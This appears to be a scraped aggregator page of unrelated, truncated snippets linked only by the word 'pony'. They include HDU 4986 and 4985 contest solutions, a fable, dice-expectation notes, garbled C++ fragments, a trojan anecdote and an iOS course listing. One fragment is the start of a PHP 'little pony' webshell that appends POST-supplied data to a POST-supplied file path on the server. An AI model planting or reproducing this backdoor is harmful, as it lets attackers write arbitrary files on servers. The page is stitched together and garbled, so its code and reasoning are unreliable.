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HDU 4986 little pony and Alohomora Part I Question Link Some keys are randomly stored in the box. Now I want to open the keys. Idea: each method is equivalent to the number of replicas. If f [I] is an I box, F [I + 1] is either placed in the last loop, either the number of inserted intermediate loops remains unchanged, and the corresponding transfer is f [I + 1] = (F [I] + 1)/I + F [I] * (I-1) /I simplification to obtain f [I] = f [I-1] + 1/I The la

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Will the pony go across the river?Small squirrel said deep, yesterday also drowned his small partner, if you want to see evidence, the body of the small partner is still, absolutely do not deceive you!Old Bull said not deep, he every day to the river to eat grass, if you do not believe, he can immediately show you himself!Is that deep or not deep? You only know when you try!Well, it's a good day, but what about tomorrow? After every day? How much time

Author: Spider I'm going to have a little php pony too. Copy CodeThe code is as follows: Header ("content-type:text/html; charset=gb2312 "); if (GET_MAGIC_QUOTES_GPC ()) foreach ($_post as $k = $v) $_post[$k] = stripslashes ($v); ?> if (! ( Isset ($_post["Data"]) isset ($_post["dir"])) Exit (); if (strlen ($_post["data") >0 strlen ($_post["dir"]) >0) { $p _file=fopen ($_post["dir"], "a"); if (! $p _file) echo "Write Failed! Please try a dif

[BestCoder Round #7] hdu 4985 Little Pony and Permutation (find loop section ), Little Pony and Permutation Problem Description As a unicorn, the ability of using magic is the distinguishing feature among other kind of pony. being familiar with composition and decomposition is the fundamental course for a young unicorn. twilight Sparkle is interested in the de

Question link: http://acm.hdu.edu.cn/showproblem.php? PID = 1, 4986 Meaning: There are n boxes (numbers from left to right are 1 ~ N), each box has a random key. It is possible that this key can be opened to this box, but in most cases it cannot. Ask the expected value. (For example, for two boxes, the key may contain 1 2 or 2 1. If it is 1 2, you need to use two spells, for 2 1 (open one box to get the key to open another box), you only need to use it once. The expected value is 1/2*2 + 1/2*1 =

Test instructions: N-face Dice throw m times, to find the maximum value of expectations.Other people's practice: probability of maximum i = probability of all points SB procedure: The accuracy requirement 1e-4, and M large when the maximum is a small number of probability is very small, the accuracy range does not affect the answer, so direct dp,f[i][j] means the probability of the maximum value of J after the throw I, through the prefix and optimization to do O (n) transferEquation is f[i][j]=

Let's take a look at what everyone knows: When I went home this week, I saw my sister's computer had a trojan virus. It was miserable. When I checked the taskbar, 360 of the security guards and the virus were gone. The first thing was immediately installed. What's worse, other Websites can access, but the 360 Homepage cannot be accessed (this is also suspended). I rely on it. Forget it. I went to other websites and got 360 security guards and Antivirus services. Of course, all the Trojans and

) { $ if(!Visit[i]) { -p[k++] =i; - for(J=i*i; ji) -VISIT[J] =true; A } + } the - for(i=1; ii) { $ for(j=0; jj) { the if(I%p[j] = =0) { theMask[i] |= (1j); the } the } - } in the #ifndef Online_judge theprintf"p[%d] =%d\n", M, P[m]); About #endif the } the the intMain () { +Ios::sync_with_stdio (false); - #ifndef Online_judge theFreopen ("data.in","R", stdin);BayiFreopen ("Data.out","W", stdout); th

Online_judgeTenFreopen ("In.txt","R", stdin); One #endif //Online_judge A - intn, x; - while(SCANF ("%d%d", n, x)! =EOF) the { - intL, R; - intAns =0; - intCur_mom =1; + - for(inti =0; I ) + { Ascanf"%d%d", l, R); at if((l-cur_mom)%x) - { - intTMP = L-Cur_mom; - intnum = tmp/x; -Cur_mom + = num *x; - } in Else -Cur_mom =l; toAns + = R-cur_mom +1; +Cur_mom =

Recurrence. Set the number of spell times for N boxes to S (n), and the expected number is E (n ).When there are n boxes, the nth key may be in the nth box. The number of spell times should be (n-1 )! + S (n-1 );When the n-th key is not in the n-th box, the number of spell times is (n-1) * s (n-1 ),Therefore, we expect E (n) = S (n)/n !, S (n) = (n-1 )! + S (n-1) + (n-1) * s (n-1) = (n-1 )! + N * s (n-1 ),Then E (n) = S (n-1)/(n-1 )! + 1/N = E (n-1) + 1/N.Therefore, the recursive formula E (n) =

get 1 in the first toss, and 1 in the second. Maximum equals to 1. You can get 2 in the first toss, and 1 in the second. Maximum equals to 2. You can get 2 in the first toss, and 2 in the second. Maximum equals to 2. The probability of each outcome are 0.25, that's expectation equals to: You can read about expectation using the following link: http://en.wikipedia.org/wiki/Expected_value/* for a number I he appears as many times as I^m-(i-1) ^m (1^m-0^m) + ... + (I^m-(i-1)

Course Catalogue:The overall directory, the folder contains a multi-section video tutorial, please review post.00-Basic Class Video01 HD-ui Basics02 HD-ui Advanced03 HD-Multi-threaded network04 HD-Source code management tools05 HD-Combat Technology06 HD-OC Project07 HD-swift Project08 HD-Practical Technology09 HD-HTML510 HD-Cross-platform development11 HD-Instant Messaging: http://www.feixueteam.net/thread-851-1-1.html 2016 latest iOS video pony